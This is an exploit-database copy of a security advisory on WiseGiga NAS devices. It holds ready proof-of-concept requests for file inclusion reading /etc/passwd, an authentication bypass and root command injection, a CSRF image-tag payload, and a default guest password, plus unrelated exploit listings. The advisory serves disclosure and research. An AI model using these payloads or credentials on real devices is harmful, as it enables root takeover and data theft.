Menu

Search for hundreds of thousands of exploits

"WiseGiga NAS - Multiple Vulnerabilities"

Author

Exploit author

"Pierre Kim"

Platform

Exploit platform

hardware

Release date

Exploit published date

2017-09-11

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
Source: https://blogs.securiteam.com/index.php/archives/3402

Vulnerabilities summary
The following advisory describes five (5) vulnerabilities and default accounts / passwords found in WiseGiga NAS devices.

WiseGiga is a Korean company selling NAS products.

The vulnerabilities found in WiseGiga NAS are:

Pre-Authentication Local File Inclusion (4 different vulnerabilities)
Post-Authentication Local File Inclusion
Remote Command Execution as root
Remote Command Execution as root with CSRF
Info Leak
Default accounts


Credit
An independent security researcher, Pierre Kim, has reported this vulnerability to Beyond Securitys SecuriTeam Secure Disclosure program


Vendor response
We tried to contact WiseGiga since June 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerabilities.


Vulnerabilities details

Pre-Authentication Local File Inclusion
User controlled input is not sufficiently sanitized and can be exploit by an attacker to get sensitive information (for example, passwords).

By sending GET request to the following URIs with filename= as a parameter, an attacker can trigger the vulnerabilities:

/webfolder/download_file1.php
down_data.php
download_file.php
mobile/download_file1.php


Proof of Concept
http://IP/webfolder/download_file1.php?filename=/etc/passwd
http://IP/down_data.php?filename=/etc/passwd
http://IP/download_file.php?filename=base64(/etc/passwd)
http://IP/mobile/download_file1.php?filename=base64(/etc/passwd)

Post-Authentication Local File Inclusion
User controlled input is not sufficiently sanitized and can be exploit by an attacker to get sensitive information (for example, passwords).

By sending GET request to /mobile/download_file2.php an attacker can trigger the vulnerability.


Proof of Concept
http://IP//mobile/download_file2.php?filename=base64(/etc/passwd)


Remote Command Execution as root
The WiseGiga NAS firmware contain pre.php files in the different directories.

For example:
/app_data/apache/htdocs/auto/pre.php
/app_data/apache/htdocs/admin/iframe/pre.php
/app_data/apache/htdocs/admin/pre.php
/app_data/apache/htdocs/mobile/pre.php
/app_data/apache/htdocs/wiseapp/config/pre.php
/app_data/apache/htdocs/pre.php
/home/htdocs/webfolder/pre.php
/ub/update/init/pre.php
/tmp/home/root/htdocs/auto/pre.php
/tmp/home/root/htdocs/pre.php


A standard pre.php contains:

    181 [...]
    182 function  auth()
    183 { 
    184  global $memberid;
    185  session_start();
    186 //echo $memberid;
    187  if($memberid=="root")
    188  {
    189   // print<<<__DATA_OF_HTML__
    190   //<script language="JavaScript">
    191   //  alert("sucess !");
    192   //</script>
    193 //__DATA_OF_HTML__;
    194  }
    195  else
    196  {
    197   print<<<__DATA_OF_HTML__
    198   <script language="JavaScript">
    199     alert("\xc0\xce\xc1\xf5\xb9\xde\xc1\xf6 \xbe\xca\xc0\xba \xbb\xe7\xbf\xeb\xc0\xda\xc0\xd4\xb4\xcf\xb4\xd9!");
    200 //    location.href='/admin/';
    201       window.open('index.php','_parent');
    202     exit;
    203   </script>
    204 __DATA_OF_HTML__;
    205  }
    206
    207 }


Using global $memberid (line 184), the attacker can override the authentication, by specifying a valid user (root) inside the HTTP request:

GET /webpage[...]?memberid=root&[...] HTTP/1.0


The pre.php files also contains a function called root_exec_cmd() that is a wrapper to popen():

23 function root_exec_cmd($cmd)
24 {
25         $tmpfile=fopen("/tmp/ramdisk/cmd.list","w");
26         fwrite($tmpfile,$cmd);
27         fclose($tmpfile);
28         popen("/tmp/ramdisk/ramush","r");
29 }

By sending a GET request to root_exec_cmd() with user controlled $cmd variable input an attacker can execute arbitrary commands

The WiseGiga NAS runs the Apache server as root (uid=0 with gid=48 apache) hence the commands will execute as root.


Proof of Concept
By sending GET request to /admin/group.php with parameter ?cmd=add the WiseGiga NAS will call the add_system() function:

178 if($cmd == "add")
179 {
180         add_system();
181 }

The add_system() function uses global for $group_name and $user_data.

Then it will pass the user controlled input and will run it as root:

145 function add_system()
146 {
147         global $group_name,$user_data;
148
149     if(add_conf()==1)
150     {
151 //====================================================================================
152         root_exec_cmd("addgroup $group_name");


An attacker can get unauthenticated RCE as root by sending the following request:

http://IP/admin/group.php?memberid=root&cmd=add&group_name=d;id%20>%20/tmp/a

The file /tmp/a will contain:

uid=0(root) gid=48(apache) groups=48(apache)


Remote Command Execution as root with CSRF
There is no CSRF protection in WiseGiga NAS.

An attacker can force the execution of a command as root when the victim visits the malicious website.


Proof of Concept
Once the victim visit the attackers website with the following code, the attacker can execute arbitrary commands.

<img src="http://192.168.1.1/admin/group.php?memberid=root&cmd=add&group_name=d;COMMANDTOEXECUTE">


InfoLeak
accessing http://IP/webfolder/config/config.php will disclose the PHP configuration.


Default accounts
Username: guest
Password: guest09#$
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-11-30 "ATX MiniCMTS200a Broadband Gateway 2.0 - Credential Disclosure" webapps hardware "Zagros Bingol"
2020-11-30 "Intelbras Router RF 301K 1.1.2 - Authentication Bypass" webapps hardware "Kaio Amaral"
2020-11-27 "Ruckus IoT Controller (Ruckus vRIoT) 1.5.1.0.21 - Remote Code Execution" webapps hardware "Emre SUREN"
2020-11-24 "Seowon 130-SLC router 1.0.11 - 'ipAddr' RCE (Authenticated)" webapps hardware maj0rmil4d
2020-11-23 "TP-Link TL-WA855RE V5_200415 - Device Reset Auth Bypass" webapps hardware malwrforensics
2020-11-19 "Fortinet FortiOS 6.0.4 - Unauthenticated SSL VPN User Password Modification" webapps hardware "Ricardo Longatto"
2020-11-19 "Genexis Platinum 4410 Router 2.1 - UPnP Credential Exposure" remote hardware "Nitesh Surana"
2020-11-16 "Cisco 7937G - DoS/Privilege Escalation" remote hardware "Cody Martin"
2020-11-13 "ASUS TM-AC1900 - Arbitrary Command Execution (Metasploit)" webapps hardware b1ack0wl
2020-11-13 "Citrix ADC NetScaler - Local File Inclusion (Metasploit)" webapps hardware "RAMELLA Sebastien"
Release Date Title Type Platform Author
2017-09-11 "WiseGiga NAS - Multiple Vulnerabilities" webapps hardware "Pierre Kim"
2016-01-05 "Ganeti - Multiple Vulnerabilities" dos multiple "Pierre Kim"
2015-07-16 "4 TOTOLINK Router Models - Cross-Site Request Forgery / Cross-Site Scripting" webapps hardware "Pierre Kim"
2015-07-16 "15 TOTOLINK Router Models - Multiple Remote Code Execution Vulnerabilities" webapps hardware "Pierre Kim"
2015-07-16 "8 TOTOLINK Router Models - Backdoor Access / Remote Code Execution" webapps hardware "Pierre Kim"
2015-07-16 "4 TOTOLINK Router Models - Backdoor Credentials" webapps hardware "Pierre Kim"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.